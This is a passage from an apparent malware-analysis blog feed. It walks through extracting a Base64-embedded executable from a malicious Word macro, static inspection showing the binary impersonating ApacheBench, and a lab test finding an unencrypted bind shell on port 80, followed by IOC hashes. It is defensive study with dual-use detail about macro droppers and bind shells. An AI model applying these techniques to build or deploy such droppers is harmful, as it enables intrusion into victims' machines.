<p>As we saw when analyzing the functions with <em>olevba</em>, the content of the &ldquo;Comments&rdquo; property is extracted and decoded using the Base64Decode() function; we can obtain the decoded file by editing the AutoOpen() function and using the following code:</p>
<div class="codeblock">
  <div class="codebar">
    <span>vb</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-vb" data-lang="vb"><span class="line"><span class="cl"><span class="k">Dim</span> <span class="n">n</span> <span class="ow">As</span> <span class="kt">Integer</span>
</span></span><span class="line"><span class="cl"><span class="n">n</span> <span class="o">=</span> <span class="n">FreeFile</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">Open</span> <span class="s">&#34;C:\analisis\orig_val.txt&#34;</span> <span class="k">For</span> <span class="n">Output</span> <span class="ow">As</span> <span class="p">#</span><span class="n">n</span>
</span></span><span class="line"><span class="cl"><span class="n">Print</span> <span class="p">#</span><span class="n">n</span><span class="p">,</span> <span class="n">orig_val</span>
</span></span><span class="line"><span class="cl"><span class="n">Close</span> <span class="p">#</span><span class="n">n</span></span></span></code></pre></div>
</div>
<p>To prevent the program from executing, we can comment out the calls to ExecuteForOSX(code) and ExecuteForWindows(code):</p>
<p><figure><img src="/p/002-malicious-macro/002-autoopen-en_hu_fa5bcbd3480b1dd3.webp" alt="Export file" loading="lazy" decoding="async" width="663" height="435"><figcaption>Export file</figcaption></figure>
</p>
<p>By analyzing the extracted file with the <a href="https://www.winitor.com/download" rel="noopener noreferrer external" target="_blank"><em>PEStudio</em></a>
 tool, we verify that it is an executable (we could also validate the file header, or use the UNIX <em>file</em> command):</p>
<p><figure><img src="/p/002-malicious-macro/002-orig_file_hu_d271503c884b7629.webp" alt="File Analysis" loading="lazy" decoding="async" width="1038" height="575"><figcaption>File Analysis</figcaption></figure>
</p>
<p>Another way to get the binary (as well as the path from where it will be executed) is by printing the <em>tmp_name</em> variable in the ExecuteForWindows(code) function and commenting out the call to (&ldquo;WScript.Shell&rdquo;).Run to avoid executing the binary:</p>
<p><figure><img src="/p/002-malicious-macro/002-exforwin_hu_5f0d5aa3dc536865.webp" alt="Export full path" loading="lazy" decoding="async" width="565" height="329"><figcaption>Export full path</figcaption></figure>
</p>
<h3 id="analysis-of-the-obtained-binary">
  Analysis of the obtained binary<a class="heading-anchor" href="#analysis-of-the-obtained-binary" aria-label="Link to this section">#</a></h3>
<p>Before continuing with the dynamic analysis, we will briefly statically analyze the binary that executes the macro.</p>
<p>First, we obtain the hash of the binary:</p>
<div class="table-wrap">
  <table>
    <thead>
      <tr>
        <th>Algorithm</th>
        <th>Hash</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>MD5</td>
        <td>22C65826A225917645DBA4BF7CD019DE</td>
      </tr>
      <tr>
        <td>SHA256</td>
        <td>21FE58C62243FCB030B1627233C77BDE7319F7E932F4F581B8F1DB49AA4C4F99</td>
      </tr>
    </tbody>
  </table>
</div>
<p>Searching for the hash in <em>VirusTotal</em>, we verify that <a href="https://www.virustotal.com/gui/file/21fe58c62243fcb030b1627233c77bde7319f7e932f4f581b8f1db49aa4c4f99" rel="noopener noreferrer external" target="_blank">signatures are already present in most antivirus programs</a>
.</p>
<p>After opening the binary in <em>PEStudio</em> we find some strings of interest:</p>
<p><figure><img src="/p/002-malicious-macro/002-pe_hu_4665e95e4abf2f99.webp" alt="PEStudio" loading="lazy" decoding="async" width="1077" height="661"><figcaption>PEStudio</figcaption></figure>
</p>
<p>The binary appears to be impersonating ApacheBench. Additionally, we verify that it contains a string that references &ldquo;C:\local0\asf\release\build-2.2.14\support\Release\ab.pdb&rdquo; in the <em>debug</em> property. Searching for that string on Google gives us references to Shellcodes created with Metasploit.</p>
<h3 id="running-the-binary">
  Running the binary<a class="heading-anchor" href="#running-the-binary" aria-label="Link to this section">#</a></h3>
<p>Since the objective of this article was to analyze a malicious macro, I will not go into detail on how to statically analyze the .exe we obtained (maybe I will in a future article); however, I thought it was important to highlight some findings I identified while analyzing the binary dynamically.</p>
<p>To start, we open <em>Procmon</em>, <em>Process Explorer</em> and <em>TCPView</em>, which are tools from the <a href="https://learn.microsoft.com/en-us/sysinternals/" rel="noopener noreferrer external" target="_blank">SysInternals suite</a>
. In Procmon, we create a filter with the name of the executable (in this case renamed to sample.exe) and run the file.</p>
<p>When executing the file we validate that it simulates being ApacheBench, even having &ldquo;Apache Software Foundation&rdquo; as its publisher:</p>
<p><figure><img src="/p/002-malicious-macro/002-firewall_hu_f91f2dc8e17e9821.webp" alt="Windows Firewall" loading="lazy" decoding="async" width="528" height="380"><figcaption>Windows Firewall</figcaption></figure>
</p>
<p>Analyzing <em>Procmon</em> we see several actions on the registry, folders and processes; however, of special interest is that we see in <em>TCPView</em> that the process started receiving connections on port 80:</p>
<p><figure><img src="/p/002-malicious-macro/002-tcpview_hu_16a1e6a0153ef9f.webp" alt="TCP View" loading="lazy" decoding="async" width="653" height="132"><figcaption>TCP View</figcaption></figure>
</p>
<p>Seeing the open port, and remembering that as part of the analysis I had seen references to Metasploit shellcodes, I wondered&hellip; Could it really be that simple, a bind shell waiting for connections?</p>
<p>To validate, from another machine connected to the same network (both on their own network, with no connection to other systems nor the internet), I used <em>netcat</em> to connect to port 80 and&hellip; it worked!</p>
<p><figure><img src="/p/002-malicious-macro/002-bindshell_hu_67698f5ef2d38100.webp" alt="BindShell" loading="lazy" decoding="async" width="488" height="165"><figcaption>BindShell</figcaption></figure>
</p>
<p>Indeed, in <em>Process Explorer</em> we can verify that the process &ldquo;sample.exe&rdquo; started a subprocess, &ldquo;cmd.exe&rdquo;.</p>
<p><figure><img src="/p/002-malicious-macro/002-processexplorer_hu_310c9efa8ff5a238.webp" alt="Process Explorer" loading="lazy" decoding="async" width="718" height="56"><figcaption>Process Explorer</figcaption></figure>
</p>
<p>And, when trying to create a file, we confirm that we succeed:</p>
<p><figure><img src="/p/002-malicious-macro/002-echotxt_hu_763c7c033c59a1a8.webp" alt="Hack the planet!" loading="lazy" decoding="async" width="479" height="141"><figcaption>Hack the planet!</figcaption></figure>

<figure><img src="/p/002-malicious-macro/002-filecreated_hu_71763281aca99be9.webp" alt="Hack the planet!" loading="lazy" decoding="async" width="852" height="291"><figcaption>Hack the planet!</figcaption></figure>
</p>
<h2 id="conclusions">
  Conclusions<a class="heading-anchor" href="#conclusions" aria-label="Link to this section">#</a></h2>
<p>When I chose the malware sample, I did not know what I would encounter; there was the possibility that the macro would contain obfuscated code, call PowerShell, or try to download a second stage from an already extinct server. Fortunately this was not the case and it contained the second stage embedded as part of the code, which allowed me to get to a deeper level of analysis.</p>
<p>I also didn&rsquo;t expect to come across a bind shell that I could connect to that wasn&rsquo;t using any kind of encryption! I don&rsquo;t know if it was luck or what, but it made the analysis much more interesting.</p>
<p>See you in the next article with a new malware!</p>
<h2 id="ioc">
  IOC<a class="heading-anchor" href="#ioc" aria-label="Link to this section">#</a></h2>
<div class="table-wrap">
  <table>
    <thead>
      <tr>
        <th>File</th>
        <th>Algorithm</th>
        <th>Hash</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>macro.docm</td>
        <td>MD5</td>
        <td>97806d455842e36b67fdd2a763f97281</td>
      </tr>
      <tr>
        <td>macro.docm</td>
        <td>SHA256</td>
        <td>ab518a86b77fe842821b50d182b9394d2a59d1c64183a37eb70a6cac100b39f8</td>
      </tr>
      <tr>
        <td>shell.exe</td>
        <td>MD5</td>
        <td>22C65826A225917645DBA4BF7CD019DE</td>
      </tr>
      <tr>
        <td>shell.exe</td>
        <td>SHA256</td>
        <td>21FE58C62243FCB030B1627233C77BDE7319F7E932F4F581B8F1DB49AA4C4F99</td>
      </tr>
    </tbody>
  </table>
</div>
]]></content:encoded></item><item><title>001 - Intro</title><link>https://www.threatanatomy.com/p/001-intro/</link><pubDate>Tue, 05 Dec 2023 11:25:41 -0500</pubDate><guid>https://www.threatanatomy.com/p/001-intro/</guid><description>Introduction to the blog, where I plan to document the different techniques one can use when analyzing malware, both statically and dynamically.</description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>Hello! Welcome to my blog, where I plan to document the different techniques one can use to analyze malware, both statically and dynamically.</p>
<p>Why do a blog related to malware analysis? Understanding the different techniques that an attacker uses to achieve their goal is something that I have been interested in for years, from simple phishing emails to complicated Stuxnet-style software.</p>
<p>The goal of the blog is to share knowledge and encourage learning; however, I would not consider myself an expert, so if I left anything out or you have any suggestions, let me know! You can contact me at <a href="mailto:contact@threatanatomy.com">contact@threatanatomy.com</a>
.</p>
<p>Thanks for reading the blog!</p>
]]></content:encoded></item></channel></rss>